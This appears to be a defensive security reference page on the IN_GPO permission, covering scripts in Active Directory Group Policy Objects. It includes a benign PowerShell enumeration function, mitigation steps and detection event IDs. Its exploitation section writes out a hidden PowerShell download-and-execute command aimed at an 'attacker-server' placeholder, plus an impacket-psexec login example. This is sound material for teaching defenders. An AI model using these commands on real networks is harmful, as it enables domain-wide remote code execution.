IN_GPO
Summary
FSProtect ACL Alias
IN_GPO
Affected Object Types
Scripts
Exploitation Certainty
Likely
Description
IN_GPO
indicates that a script is included within a Group Policy Object (GPO), allowing it to run on domain-joined computers during logon/logoff and startup/shutdown events. Because GPOs serve as a central system for configuring and enforcing settings on many machines, a script marked with IN_GPO
can perform all tasks permitted by these policies—such as installing software, modifying registry entries, or updating security controls—across the network. This is extremely useful for administrators who want to ensure consistent and automated configuration management throughout the domain.
However, if these scripts are misused or altered, they can become a serious security threat. Attackers who successfully insert malicious code into scripts marked IN_GPO
could gain the same level of control as the script itself, allowing them to spread harmful programs, disable security features, or permanently change critical system settings. Therefore, maintaining the security and integrity of scripts in GPO is essential.
Identification
PowerShell
Group Policy Module
Using the GroupPolicy PowerShell module, you can enumerate GPOs containing logon/logoff/startup/shutdown scripts.
Function: Find-IN_GPO
function Find-IN_GPO {
[CmdletBinding()]
param (
[string]$GPOGuid = $null, # Specific GPO GUID to scan
[string]$OutputPath = "GPOScripts.csv" # Output CSV path
)
# Load GroupPolicy module if not already loaded
if (-not (Get-Module -Name GroupPolicy)) {
Write-Host "Attempting to load GroupPolicy module..."
try {
Import-Module GroupPolicy
Write-Host "GroupPolicy module loaded successfully."
}
catch {
Write-Error "Failed to load GroupPolicy module. Please ensure RSAT-GroupPolicy is installed."
return
}
}
function Get-GPOScriptDetails {
param ([Microsoft.GroupPolicy.Gpo]$GPO)
$results = @()
try {
[xml]$report = Get-GPOReport -Guid $GPO.Id -ReportType Xml
foreach ($context in @("Computer", "User")) {
$data = $report.GPO.$context.ExtensionData | Where-Object { $_.Name -eq 'Scripts' }
if ($data) {
foreach ($script in $data.Extension.Script) {
$results += [PSCustomObject]@{
GPOName = $GPO.DisplayName
GPOID = $GPO.Id
ScriptType = $script.Type
ScriptPath = $script.Command
Parameters = $script.Parameters
Context = $context
LastModified = $GPO.ModificationTime
}
}
}
}
}
catch {
Write-Warning "Error processing GPO '$($GPO.DisplayName)': $_"
}
return $results
}
if ($GPOGuid) {
Write-Host "Scanning specific GPO with GUID: $GPOGuid"
try {
$gpo = Get-GPO -Guid $GPOGuid -ErrorAction Stop
$allScripts = Get-GPOScriptDetails -GPO $gpo
}
catch {
Write-Error "Failed to retrieve GPO with GUID $GPOGuid: $($_.Exception.Message)"
return
}
}
else {
Write-Host "Scanning all GPOs in the domain..."
try {
$allGPOs = Get-GPO -All -ErrorAction Stop
$allScripts = $allGPOs | ForEach-Object { Get-GPOScriptDetails -GPO $_ }
}
catch {
Write-Error "Failed to enumerate GPOs: $($_.Exception.Message)"
return
}
}
if ($allScripts.Count -gt 0) {
Write-Host "Found $($allScripts.Count) script entry(ies) in GPO(s)."
try {
$allScripts | Export-Csv -Path $OutputPath -NoTypeInformation -Encoding UTF8 -ErrorAction Stop
Write-Output "Results exported successfully to '$OutputPath'"
}
catch {
Write-Error "Failed to export results to CSV file '$OutputPath': $($_.Exception.Message)"
}
}
else {
Write-Output "No scripts found in GPO(s)."
}
}
Usage Examples:
1. Scan all GPOs in the domain
Find-IN_GPO
2. Scan a specific GPO by GUID
Find-IN_GPO -GPOGuid "213650A4-1162-4DF8-9EE8-EA66DDFE7430"
3. Save results to a custom path
Find-IN_GPO -OutputPath "C:\Temp\MyGPOScan.csv"
Group Policy Management Editor (GUI)
1. Open Group Policy Management Editor.
2. Expand Computer Configuration or User Configuration.
3. Expand Windows Settings → Scripts.
4. Double-click the script policy.
5. Review scripts listed under Scripts and PowerShell Scripts tabs.
6. Click OK to close.
Exploitation
This permission can be exploitable on Windows systems, while on Linux systems, tools such as impacket tools can be effectively used for exploitation.
An attacker can abuse IN_GPO by inserting a malicious PowerShell or batch script into a logon/logoff or startup/shutdown script section of a Group Policy Object. Since these scripts are executed automatically on all domain-joined machines affected by the GPO, this provides a reliable way to achieve code execution at scale.
Attacker could add the following command to a logon script to download and execute a payload from a remote server.
Start-Process powershell -ArgumentList "-NoProfile -WindowStyle Hidden -Command iex (New-Object Net.WebClient).DownloadString('http://attacker-server/payload.ps1')"
When the GPO refreshes on target machines, the malicious payload will be executed without user interaction, granting the attacker remote code execution across multiple systems.
On Linux systems, impacket tools can be used to gain remote access and trigger execution of the injected script:
impacket-psexec '<domain>/<user login name>:<password>@<IP Address>'
In example:
impacket-psexec 'FORESTALL/ANGEL_ROSA:[email protected]'
After gaining a shell, the attacker can also force an immediate GPO update with:
gpupdate /force
Mitigation
You can mitigate IN_GPO
with following steps:
1. Open Group Policy Management Editor
.
2. Expand the Configuration (User or Computer)
3. Expand windows settings then click Scripts
4. Double click to the script policy.
5. In the scripts and PowerShell Scripts list, locate and remove scripts.
6. Click OK to close the dialogs.

Detection
Adding new Access Control Entries on the Active Directory objects changes the ntSecurityDescriptor
attribute of the objects themselves. These changes can be detected with the 5136 and 4662 Event ID's to identify dangerous modifications. During Group Policy processing, the Scripts client-side extension is responsible for launching not only computer startup and shutdown scripts but also user logon and logoff scripts.Event ID 1130 is during Group Policy processing, the Scripts client-side extension is responsible for launching not only computer startup and shutdown scripts but also user logon and logoff scripts.
5136
A directory service object was modified.
ntSecurityDescriptor
https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-5136
4662
An operation was performed on an object.
AccessList, AccessMask
https://learn.microsoft.com/en-us/windows/security/threat-protection/auditing/event-4662
1130
Group Policy Scripts Processing
AccessList, AccessMask
https://learn.microsoft.com/en-us/previous-versions/windows/it-pro/windows-server-2008-R2-and-2008/dd392581(v=ws.10)?redirectedfrom=MSDN
References
Last updated
Was this helpful?